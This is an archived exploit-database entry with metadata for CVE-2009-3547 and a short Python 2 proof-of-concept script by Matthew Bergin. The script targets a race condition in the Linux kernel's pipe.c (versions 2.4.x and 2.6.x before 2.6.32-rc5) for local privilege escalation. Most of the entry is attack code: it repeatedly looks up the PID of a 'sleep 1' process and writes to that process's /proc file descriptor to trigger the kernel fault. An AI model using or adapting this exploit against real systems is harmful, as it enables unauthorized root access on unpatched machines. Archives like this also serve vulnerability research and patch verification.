Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3)

Author: Matthew Bergin
type: local
platform: linux
port: 
date_added: 2009-11-04 
date_updated: 2019-05-10 
verified: 1 
codes: CVE-2009-3547;OSVDB-59654 
tags: 
aliases:  
screenshot_url:  
application_url: 

# This is a PoC based off the PoC release by Earl Chew (Updated by Brian Peters)
# Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability
# PoC by Matthew Bergin
# Bugtraq ID:       36901
#
# E-DB Note: Exploit Update v2 ~ https://github.com/offensive-security/exploitdb/pull/82/files

import os
import time
import random
import subprocess
#infinite loop
i = 0
x = 0
while (i == 0):
        os.system("sleep 1")
        while (x == 0):
                time.sleep(random.random()) #random int 0.0-1.0
                p = subprocess.Popen(["ps -elf | grep 'sleep 1' | grep -v 'grep' | awk '{print $4}'"], stdout=subprocess.PIPE, shell=True)
		result = p.stdout.read()
		pid = result.replace('\n', '').replace('\r', '')
                if (pid == "0"): #need an active pid, race condition applies
                        print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."
                        break
                else:
                        print "[+] PID: " + pid
                        loc = "echo n > /proc/" + pid + "/fd/1"
                        os.system(loc) # triggers the fault, runs via sh